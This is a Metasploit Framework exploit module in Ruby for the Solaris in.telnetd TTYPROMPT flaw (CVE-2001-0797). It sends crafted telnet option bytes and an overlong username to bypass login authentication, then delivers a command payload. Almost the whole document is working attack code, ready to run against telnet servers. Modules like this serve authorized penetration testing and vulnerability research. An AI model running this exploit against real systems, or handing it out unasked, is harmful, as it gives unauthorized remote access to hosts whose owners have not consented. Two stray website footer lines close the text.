##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Solaris in.telnetd TTYPROMPT Buffer Overflow',
'Description' => %q{
This module uses a buffer overflow in the Solaris 'login'
application to bypass authentication in the telnet daemon.
},
'Author' => [ 'MC', 'cazz' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2001-0797'],
[ 'OSVDB', '690'],
[ 'BID', '5531'],
],
'Privileged' => false,
'Platform' => ['unix', 'solaris'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 2000,
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet',
}
},
'Targets' =>
[
['Automatic', { }],
],
'DisclosureDate' => 'Jan 18 2002',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(23),
OptString.new('USER', [ true, "The username to use", "bin" ]),
], self.class)
end
def exploit
connect
banner = sock.get_once
print_status('Setting TTYPROMPT...')
req =
"\xff\xfc\x18" +
"\xff\xfc\x1f" +
"\xff\xfc\x21" +
"\xff\xfc\x23" +
"\xff\xfb\x22" +
"\xff\xfc\x24" +
"\xff\xfb\x27" +
"\xff\xfb\x00" +
"\xff\xfa\x27\x00" +
"\x00TTYPROMPT" +
"\x01" +
rand_text_alphanumeric(6) +
"\xff\xf0"
sock.put(req)
sleep(0.25)
print_status('Sending username...')
filler = rand_text_alpha(rand(10) + 1)
req << datastore['USER'] + (" #{filler}" * 65)
sock.put(req + "\n\n\n")
sleep(0.25)
sock.get_once
sock.put(payload.encoded + "\n")
sleep(0.25)
handler
end
end
京公网安备 11010502034610号
Unavailable Comments